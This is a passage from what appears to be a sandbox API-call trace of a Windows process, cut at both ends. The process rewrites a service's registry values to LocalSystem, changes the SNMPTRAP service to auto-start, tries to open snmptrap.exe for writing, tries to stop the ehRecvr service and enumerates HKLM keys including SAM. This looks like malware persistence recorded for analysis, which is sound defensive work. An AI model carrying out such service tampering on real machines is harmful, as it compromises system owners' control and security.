lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.010] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.010] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.010] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.011] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.012] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0251.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0251.012] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0251.012] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0251.012] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.012] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.012] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.012] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.012] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.012] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.012] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.012] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.013] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.013] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.013] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.013] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.013] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.013] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.013] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.013] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.013] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0251.013] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0251.013] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.014] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.015] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.015] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.015] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0251.015] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0251.015] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\snmptrap.exe", cbData=0x21 | out: lpData="C:\\Windows\\System32\\snmptrap.exe") returned 0x0 [0251.015] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\snmptrap.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\System32\\snmptrap.exe" [0251.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0251.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0251.015] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0251.015] LocalFree (hMem=0x7f2c48) returned 0x0 [0251.015] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\snmptrap.exe", cbData=0x21 | out: lpData="C:\\Windows\\System32\\snmptrap.exe") returned 0x0 [0251.015] OpenServiceW (hSCManager=0x803918, lpServiceName="SNMPTRAP", dwDesiredAccess=0x2) returned 0x8038a0 [0251.063] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0251.082] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0251.082] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.082] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0251.082] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0251.082] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0251.082] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0251.082] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0251.082] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.083] RegCloseKey (hKey=0xc4) returned 0x0 [0251.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0251.083] RegCloseKey (hKey=0x14c) returned 0x0 [0251.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0251.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0251.083] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817cf0a9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x817cf0a9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0251.083] CreateFileW (lpFileName="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0251.083] GetLastError () returned 0x20 [0251.083] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0251.084] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0251.084] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0251.084] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x20) returned 0x803990 [0251.084] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0251.085] GetLastError () returned 0x425 [0251.085] CloseServiceHandle (hSCObject=0x803990) returned 1 [0251.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0251.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0251.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0251.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0251.085] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0251.085] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0251.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0251.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0251.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.085] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.085] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.085] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.085] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0251.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.086] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.086] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.086] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0251.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0251.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0251.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0251.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d60, 